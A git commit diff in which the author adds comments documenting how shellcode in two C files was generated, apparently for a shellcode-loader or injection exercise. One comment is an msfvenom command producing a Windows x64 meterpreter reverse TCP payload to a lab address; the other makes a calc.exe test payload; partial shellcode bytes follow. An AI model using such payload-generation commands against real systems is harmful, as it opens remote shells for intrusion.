add comments, how shellcode was generated

This commit is contained in:
Rokas Puzonas 2023-11-03 17:02:28 +02:00
parent 0900ac1cdb
commit 3e57d1867d
2 changed files with 7 additions and 5 deletions

View File

@ -5,6 +5,7 @@
#define log_err(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define log_ok(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
// msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp LHOST=172.24.224.1 LPORT=12345 -f c --var-name=g_shellcode
char g_shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"

View File

@ -8,6 +8,7 @@
#define log_err(msg, ...) log("[-] " msg, ##__VA_ARGS__)
#define log_ok(msg, ...) log("[+] " msg, ##__VA_ARGS__)
// msfvenom --platform windows --arch x64 -p windows/x64/exec cmd=calc.exe -f c --var-name=g_shellcode
unsigned char g_shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"